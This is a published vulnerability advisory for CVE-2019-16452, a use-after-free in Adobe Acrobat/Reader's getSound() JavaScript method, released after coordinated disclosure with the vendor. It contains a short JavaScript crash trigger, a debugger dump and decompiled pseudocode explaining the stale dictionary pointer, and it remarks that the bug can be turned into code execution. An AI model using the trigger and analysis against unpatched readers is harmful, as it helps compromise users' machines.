Advisories

Adobe Acrobat/Reader getSound JSObject Use-after-Free

CVE ID

CVE-2019-16452

Tested Versions

  • Adobe Acrobat and Reader versions 2019.012.20035 and earlier

Product URL(s)

  • https://acrobat.adobe.com/us/en/acrobat.html
  • https://get.adobe.com/reader/

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). The basic Acrobat Reader, available for several desktop and mobile platforms, is freeware; it supports viewing, printing and annotating of PDF files. The commercial proprietary Acrobat, available for Microsoft Windows and macOS only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files.

There is an use-after-free bug when Adobe Reader/Acrobat DC executes JavaScript related to the getSound() method.

Vulnerability

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=5c982fb8 ebx=3aedefc0 ecx=219daff0 edx=07900000 esi=219daff0 edi=4f03cbd8
eip=548beed7 esp=050fe554 ebp=050fe560 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
EScript!mozilla::HashBytes+0x2e497:
548beed7 8b4004          mov     eax,dword ptr [eax+4] ds:002b:5c982fbc=????????

The following snippet would trigger the bug:

function gc() {for(var i = 0; i < 3; i++) {var z = new ArrayBuffer(1024*1024*100)}}
this.getSound('sound').toString()
this.getSound('z') //help trigger garbage collector
gc()
this.getSound('sound')

Analysis

sub_c3140 is invoked everytime we call this.getSound. sub_c3140 creates a dictionary (std::map) to cache JSObject so it doesn’t have to create a new object everytime this.getSound is invoked. The name of the sound object is used as key to index into the dictionary. When the object has no reference left sub_C3050 is called to remove the object from the dictionary.

The problem is sub_c3140 uses two different string objects for the cache and the JSObject's private data:

wchar_t *__cdecl z_newSoundObject_C3140(wchar_t *context, T *arg)
{
  wchar_t *soundname; // esi MAPDST
  void *pddoc; // eax MAPDST
  int *v4; // eax
  wchar_t **v5; // eax
  wchar_t *obj; // eax MAPDST
  wchar_t *v8; // esi
  _DWORD *v9; // eax
  wchar_t *v11; // [esp+14h] [ebp-1Ch]
  wchar_t *v12; // [esp+18h] [ebp-18h]
  int v13; // [esp+1Ch] [ebp-14h]
  int v15; // [esp+2Ch] [ebp-4h]

  soundname = z_EStrNewImpl_sub_46E35(arg->objname, 3);
  pddoc = arg->pddoc;
  v15 = 0;
  z_idx_473A4(&v11, &soundname);
  LOBYTE(v15) = 1;
  v4 = sub_72B6B(&gSound);
  sub_97965(v4, &v12, &pddoc);
  LOBYTE(v15) = 2;
  if ( v11 )
    sub_4786E(v11);
  v15 = 3;
  if ( soundname )
    sub_4786E(soundname);
  v15 = -1;
  v5 = sub_72B6B(&gSound);
  if ( v12 != *v5 )
    return *(v12 + 6); /* return the cached object instead of creating a new one */
  z_ESContextPushTempScope_3C0F0(context);
  obj = z_ESObjectCreate_3DD80(context, 0, "Sound", 0);
  if ( obj )
  {
    v8 = z_EStrNewImpl_sub_46E35(arg->objname, 3); /* create a new string object to use as key */
    v12 = v8;
    v15 = 4;
    pddoc = arg->pddoc;
    z_idx_473A4(&v11, &v12);
    LOBYTE(v15) = 5;
    sub_72B6B(&gSound);
    sub_C26D8(&v13, &pddoc);
    *(v13 + 24) = obj; /* put the object into the cache */
    LOBYTE(v15) = 6;
    if ( v11 )
      sub_4786E(v11);
    v15 = 7;
    if ( v8 )
      sub_4786E(v8);
    v15 = -1;
    z_ESObjectSetPreciseGetProc_40980(obj, "name", sub_C30F0);
    z_ESObjectSetPreciseCallProc_41470(obj, "play", sub_C33C0);
    z_ESObjectSetPreciseCallProc_41470(obj, "pause", &sub_C3330);
    z_ESObjectSetPreciseCallProc_41470(obj, "stop", &sub_C3450);
    z_ESObjectSetPreciseCallProc_41470(obj, "toString", z_Sound_toString_C34E0);
    z_ESObjectSetPreciseCallProc_41470(obj, "valueOf", z_Sound_toString_C34E0);
    z_ESContextPopTempScope_3D300(context);
    v9 = z_EStrNewImpl_sub_46E35(arg->objname, 3);
    z_ESObjectSetPrivateData_445C0(obj, "Sound", v9); /* create another string to use as sound name */
    sub_64000(obj, arg->pddoc);
    z_ESObjectSetDestructProc_44830(obj, z_SoundOjbect_destruct_C3050);
    z_ESClientAddESObject_43500(context, obj, "Sound");
    z_ESContextRemoveRoot_74F00(context, obj);
  }
  return obj;
}

sub_C3050 frees and removes JSObject from cache based on the name string saved in its private data:

signed int __cdecl z_SoundOjbect_destruct_C3050(int obj)
{
  wchar_t *soudname; // edi
  unsigned int v2; // ebx MAPDST
  signed int result; // eax
  wchar_t *v4; // esi MAPDST
  _DWORD *v5; // eax
  wchar_t *v7; // [esp+14h] [ebp-14h]
  int v9; // [esp+24h] [ebp-4h]

  /* remove JSObject from cache base on its private data */
  soudname = z_ESObjectGetPrivateData_46700(obj, "Sound"); 
  v2 = z_sub_5B1C0(obj);
  result = 1;
  if ( soudname )
  {
    v4 = sub_473C8(soudname);
    v9 = 0;
    z_idx_473A4(&v7, &v4);
    LOBYTE(v9) = 1;
    v5 = sub_72B6B(&gSound);
    sub_97928(v5, &v2);
    LOBYTE(v9) = 2;
    if ( v7 )
      sub_4786E(v7);
    v9 = 3;
    if ( v4 )
      sub_4786E(v4);
    v9 = -1;
    sub_4786E(soudname);
    result = 1;
  }
  return result;
}

When toString is called, JSObject's private data is converted into a multibyte string:

int __cdecl z_Sound_toString_C34E0(int a1, int a2, int a3, int a4)
{
  int v5; // ebx
  wchar_t *v6; // esi
  wchar_t *v7; // edi
  void *v8; // eax
  void *v9; // eax
  int v10; // eax

  if ( z_ESObjectGetPrivateData_46700(a1, "Dead") )
    return z_ESThrowExceptionExVoid_AE7F0(a1, a2, a3, 13, 0);
  v5 = z_ESObjectGetPrivateData_46700(a1, "Sound"); /* get soundname */
  v6 = z_EStrNewImpl_sub_46E35("[object Sound=\"", 1);
  v7 = z_EStrNewImpl_sub_46E35("\"]", 1);
  z_EStrSetEncoding_5A4F0(v6, &NewSize); /* soundname is converted into multibytes tring */
  z_EStrSetEncoding_5A4F0(v5, &NewSize);
  z_EStrSetEncoding_5A4F0(v7, &NewSize);
  v8 = sub_496F0(v5);
  sub_4BB50(v6, v8);
  v9 = sub_496F0(v7);
  sub_4BB50(v6, v9);
  v10 = sub_496F0(v6);
  z_ESValSetString_3F000(a4, v10);
  if ( v7 )
    sub_4786E(v7);
  if ( v6 )
    sub_4786E(v6);
  return 1;
}

The string object in private data and in the dictionary no longer matches after toString is called. This leaves a stale pointer in the dictionary, leading to Use-after-Free.

With proper memory manipulation this bug can be turned into code execution inside sandbox context.

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

This issue is covered in the vendor’s Security bulletin APSB19-55.

Timeline

  • 2019-11-17 Vulnerability reported to vendor via Tianfu Cup
  • 2019-12-10 Coordinated public release of advisory

Credit

Discovered by bit

Want to participate in such cutting-edge research?

We are hiring!

Find Out More